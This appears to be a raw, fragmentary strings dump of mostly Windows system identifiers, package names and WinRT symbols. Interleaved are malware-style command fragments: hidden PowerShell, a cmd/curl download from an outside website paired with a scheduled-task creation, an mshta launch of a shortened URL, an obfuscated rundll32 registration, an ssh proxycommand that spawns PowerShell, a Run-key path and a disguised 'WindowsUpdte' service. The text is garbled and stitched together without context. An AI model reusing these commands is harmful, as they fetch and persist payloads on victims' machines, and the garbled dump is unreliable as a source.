Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|!
Microsoft-Windows-Telnet-Client-FOD-Package-Wrapper~31bf3856ad364e35~amd64~en-US~10.0.26100.7824.cat|!
Microsoft-Windows-TFTP-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-WindowsCore-Network-FlowSteering-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|824.cat|at|
Provider@Storage@WindowsUdk
X86_MICROSOFT.WINDOWS.ISOLATIONAUTOMATION_6595B64144CCF1DF_NONE_7ADD5F504A3BCB33
X86_MICROSOFT.WINDOWS.SYSTEMCOMPATIBLE_6595B64144CCF1DF_NONE_0A4DC6435173F2F1
windows.desktopAppMigr 
b8^windows.appExtension
Microsoft.Windows.Srum.VfuProvider
2powershell.exe"-windowstylehidden"$manchetternes
lIc:\windows\microsoft.net\'+'framework\v4.0.30319
Windows Live Identity Provider
%Microsoft Windows Production PCA 20110
Microsoft Windows0
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsConcatString
WindowsGetStringLen
WindowsSubstringWithSpecifiedLength
WindowsCompareStringOrdinal
WindowsSubstring
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
winlogon.exe
5C:\WINDOWS\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
!c__windows_iexplore.exesystem\currentcontrolset\
C:\WINDOWS\realplayer
Windows
Windows
Windows Media Device Manager
Windows CE
Windows CE RNDIS
Windows Media Foundation
WindowsSelfHost
Windows.Gaming.GameBar.Internal.PresenceWriterServer
Windows.Internal.UI.BioEnrollment.DataModel.OOBE
Windows.Internal.WebRuntime.BCHostServer
Windows.Internal.WebRuntime.ContentProcessServer
Windows.Internal.WebRuntime.F12Server
Windows.Internal.WebView.OopWebViewServer
WindowsManagementService
.?AU?$__abi_FunctorCapture@V<lambda_2f597eb8a35480e81d447f9143ac4941>@@XPE$AAU?$IAsyncOperation@W4SVUpgradeEligibilityState@ContentManagement@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_768f2604ce83b991dd48de38ff7908aa>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$IIterator@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/6"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/6"
\/cpowershell-windowstylehidden-nop
Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10359; Pro)M
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
:\WINDOWS\Syst
SERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
\Sofware\Microsoft\Windows\CurrentVersion\Policies\Associations\L
l.WidgetPickerMicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPickerGlobal.WidgetPickerGlobal.WidgetPickerAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Global.WidgetDataModelMicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModelGlobal.WidgetDataModelGlobal.WidgetDataModelAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
WebExperienceHostMicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHostms-resource:WebExperienceHostAppName/Textms-resource:WebExperienceHostDescriptionAssets\GetStartedMedTile.pngAssets\GetStartedAppList.pngAssets\GetStartedWideTile.pngAssets\GetStartedLargeTile.pngAssets\GetStartedSmallTile.pnglight
VisualAssistMicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssistms-resource:VisualAssist/Resources/AppDisplayNamems-resource:VisualAssist/Resources/AppDescriptionVisualAssist\Assets\Square150x150Logo.pngVisualAssist\Assets\DescribeImage44x44.pngVisualAssist\Assets\Wide310x150Logo.pnglight
lVisualAssistExe.exeWindows.FullTrustApplicationVisualAssist\Assets\SplashScreen.pngg
SoftLandingMicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLandingSoftLandingSoftLandingImages\Square150x150Logo.pngImages\Square44x44Logo.pngImages\Wide310x150Logo.pnglight
kSoftLandingTask\SoftLandingTask.exeWindows.FullTrustApplicationImages\SplashScreen.pngg
FESearchUIMicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUIms-resource:Cortana.UI/Resources/TileDisplayNamems-resource:Cortana.UI/Resources/DescriptionCortana.UI\Assets\App\Square150x150Logo.pngCortana.UI\Assets\App\Square44x44Logo.pngCortana.UI\Assets\App\Wide310x150Logo.pnglight
CortanaUIFullTrustAppMicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustAppms-resource:Cortana.UI/Resources/TileDisplayNamems-resource:Cortana.UI/Resources/DescriptionCortana.UI\Assets\App\Square150x150Logo.pngCortana.UI\Assets\App\Square44x44Logo.pngCortana.UI\Assets\App\Wide310x150Logo.pnglight
CortanaUIMicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIms-resource:Cortana.UI/Resources/TileDisplayNamems-resource:Cortana.UI/Resources/DescriptionCortana.UI\Assets\App\Square150x150Logo.pngCortana.UI\Assets\App\Square44x44Logo.pngCortana.UI\Assets\App\Wide310x150Logo.pnglight
Global.RulesEngineMicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngineGlobal.RulesEngineGlobal.RulesEngineAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Global.WindowsPersonaCardMicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCardGlobal.WindowsPersonaCardGlobal.WindowsPersonaCardAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Global.PersonaCardManagerMicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManagerGlobal.PersonaCardManagerGlobal.PersonaCardManagerAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Microsoft.Windows.WindowsMediaPlayer
Microsoft.Windows.MediaFoundation.CallStack
HeaderHelpers_CreateWindowsAccountAuthTokenTask
Clipchamp\Clipchamp.exeWindows.FullTrustApplicationImages\SplashScreen.png
Microsoft.Windows.PrintDialogWindows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialogms-resource:DisplayNamems-resource:DescriptionAssets\Square150x150Logo.pngAssets\Square44x44Logo.pngAssets\Wide310x150Logo.pnglight
PrintDialog.exePrintDialog!Microsoft.Windows.PrintDialogAssets\SplashScreen.png
microsoft.windows.immersivecontrolpanelwindows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelms-resource:DisplayNamems-resource:DescriptionImages\TileSmall.pngImages\logo.pngImages\TinyTile.pnglight
$other=Build:%sForthgonerC:\Windows\\update.ini/postM
LOGONSERVER=\\WINDOWS11
System.Windows.Forms.VisualStyles
Microsoft.Windows.PrintDialogSRD1
Microsoft.Windows.Cortana_cw5n1h2txyewy!
!-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!
Microsoft.Windows.Shell.ScoobeEligibility
 a tentar preencher palavras-passe. Escreva a sua palavra-passe do Windows para permitir isto.copilotupdateServi
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows an
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
ic:\windows\system32\cmd.exe/ccurl-v-s-orpf5gjqhudnv.js"https://www.luciaricciardi.com/wp-content/uploads/2018/12/pinspotteretbyf.php"&schtasks/create/mo1/scminute/tn37znxmi48qwen
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
WindowsCompareStringOrdinal
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsCreateStringReference
getWindowsAccountType
internalSetWindowsAccountType
getWindowsIdentity
internalSetWindowsIdentity
authTypeMatchesWindowsAccountType
setWindowsAccountType
CredUIPromptForWindowsCredentialsA
CredUIPromptForWindowsCredentialsW
CredUIPromptForWindowsCredentialsWorker
Microsoft.Windows.Security.CertInUse
Microsoft.Windows.Shell.DesktopSpotlightLogon
Microsoft.Windows.UDK.TaskbarLayout
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
\windowsL
3^MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback)
/MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata
3^Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App
struct winrt::Windows::Networking::Connectivity::INetworkInformationStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Networking::Connectivity::INetworkInformationStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Networking_Connectivity_INetworkInformationStatics<struct winrt::Windows::Networking::Connectivity::INetworkInformationStatics>::GetInternetConnectionProfile(void) const
struct winrt::Windows::Services::Store::IStoreContextStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Services::Store::IStoreContextStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContextStatics<struct winrt::Windows::Services::Store::IStoreContextStatics>::GetDefault(void) const
struct winrt::Windows::Management::Deployment::PackageManager __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::Management::Deployment::PackageManager>(void) const
struct winrt::Windows::ApplicationModel::IPackageStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::IPackageStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackageStatics<struct winrt::Windows::ApplicationModel::IPackageStatics>::Current(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Networking.Connectivity.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Foundation.Collections.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Services.Store.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Management.Deployment.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.ApplicationModel.h
void __cdecl winrt::impl::check_status_canceled(enum winrt::Windows::Foundation::AsyncStatus)
auto __cdecl winrt::impl::consume_Windows_Data_Json_IJsonValueStatics<struct winrt::Windows::Data::Json::IJsonValueStatics>::CreateNumberValue(double) const
struct winrt::Windows::Data::Json::IJsonValueStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Data::Json::IJsonValueStatics>(const struct winrt::param::hstring &)
windowsuptade
(@windir=C:\WINDOWS
#@TMP=C:\WINDOWS\TEMP
!@USERNAME=WINDOWS11$
$@TEMP=C:\WINDOWS\TEMP
*@SystemRoot=C:\WINDOWS
C:\Windows\Logs\kekw.exeC
?;c:\windows\system32\imageres.dll%
 fylle ut passord. Skriv inn Windows-passordet for 
C:\WINDOWS\SYSTEM32\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
??0QWindowStateChangeEvent@@QEAA@AEBV0@@Z
?toNativeTouchPoints@QWindowSystemInterfacePrivate@@SA?AV?$QList@UTouchPoint@QWindowSystemInterface@@@@AEBV?$QList@VTouchPoint@QTouchEvent@@@@PEBVQWindow@@@Z
MadingSectionon-scaling-strokeLinejoinRowizard_windowSizeOrDefaultrapFocustomHoverStyle#A8F3F?
sc config WindowsUpdte type= own
QHighDpiScaling::setFactor: Should only be called when no windows exist.
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy/
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
%s\system32\openssh\ssh.exe-oproxycommand="powershell
:\windows\system32\forfiles.exe/p\/m"
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontr333
Microsoft.Windows.CBSPreview.AppXd56ebff74hb8k26acaz7bnawb3canxt5.mca
Microsoft.Windows.CBSPreview.AppXphj0kxfenxrfh0jbmz9fpemzwe6k8gn3.mca
Windows.CBSPreview_cw5n1h2txyewy
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview
Windows.BarcodeScannerPreviewProvider
Windows.BarcodeScannerProvider
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewyp
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
windowsG
Windows_Toggle2
Windows Hello Fd
Windows feedbackBing
COM.MICROSOFT.WINDOWS.WIDGETS
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
TNiwshshell3.run("c:\windows\system32\mshta.exehttps://bit.ly/
Windows PowerShell ISE (x86)
Windows PowerShell ISE (x86)
Windows PowerShell ISE (x86)
Windows PowerShell ISE (x86)
c:\windows\system32
stupid windows defender
system32\cmd.exe/c"(
windowspk
'windows~
?Windows8@QOperatingSystemVersion@@2V1@B
?Windows8_1@QOperatingSystemVersion@@2V1@B
like'%windowsservicesB
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderSimple.GetPropertyValue
System.Windows.Forms.UnsafeNativeMethods.IPersistStorage.Save
System.Windows.Forms.UnsafeNativeMethods.IPersistPropertyBag.Save
System.Windows.Forms.UnsafeNativeMethods.IPersistStreamInit.Save
System.Windows.Forms.UnsafeNativeMethods.IOleDropTarget.OleDragLeave
System.Windows.Forms.IDropTarget.OnDragLeave
System.Windows.Forms.UnsafeNativeMethods.IOleControlSite.LockInPlaceActive
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.Move
CredUIInternalPromptForWindowsCredentialsW
CredUIInternalPromptForWindowsCredentialsA
CredUIInternalPromptForWindowsCredentialsWorker
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Wifi-Client-Intel-Netwtw08-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
rundll32.exe</t></si><si><t>:</t></si><si><t>\windows\</t></si><si><t>d"&amp;"l"&amp;"l"&amp;"r"&amp;"eg"&amp;"i"&amp;"s"&amp;"t"&amp;"erserver
.JJVQJMAC:\Program Files\Common Files\ThinkVantage Fingerprint Software\Drivers\smihlp.sys/dumpstatus\SystemRoot\system32\BOOTVIU
 ).exec "c:\windows\explorer " & 
Ehttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
WindowsLive:name=*
windowsZones
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
c:\windows\system32\cmd.exe/v/cmshta"javascript:
%<iclass="fabfa-windows"></i>+r</p>
ring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::GetResults(void)
struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::GetResults(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_IReference<struct winrt::Windows::Foundation::IReference<int>,int>::Value(void) const
struct winrt::weak_ref<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection> __cdecl winrt::impl::root_implements<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection,struct winrt::Windows::Foundation::IClosable>::get_weak<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection>(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>,struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> &) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hstring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hstring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::ValueSet> &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>,enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> &) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::Completed(const struct winrt::Windows::Foundation::AsyncOperati
42^windows.appExtension
43^windows.appExtension
3f^windows.protocol
3f^windows.appExtension
3a^windows.protocol
3a^windows.appExecutionAlias
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
truct winrt::Windows::Foundation::AsyncOperationCompletedHandler<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus> &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::AppServiceName(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::PackageFamilyName(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::OpenAsync(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>,enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::ServiceClosed(const struct winrt::Windows::Foundation::TypedEventHandler<struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection,struct winrt::Windows::ApplicationModel::AppService::AppServiceClosedEventArgs> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IClosable<struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection>::Close(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IPropertySet,struct winrt::hstring,struct winrt::Windows::Foundation::IInspectable>::Insert(const struct winrt::param::hstring &,const struct winrt::Windows::Foundation::IInspectable &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windowhbin
ring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::GetResults(void)
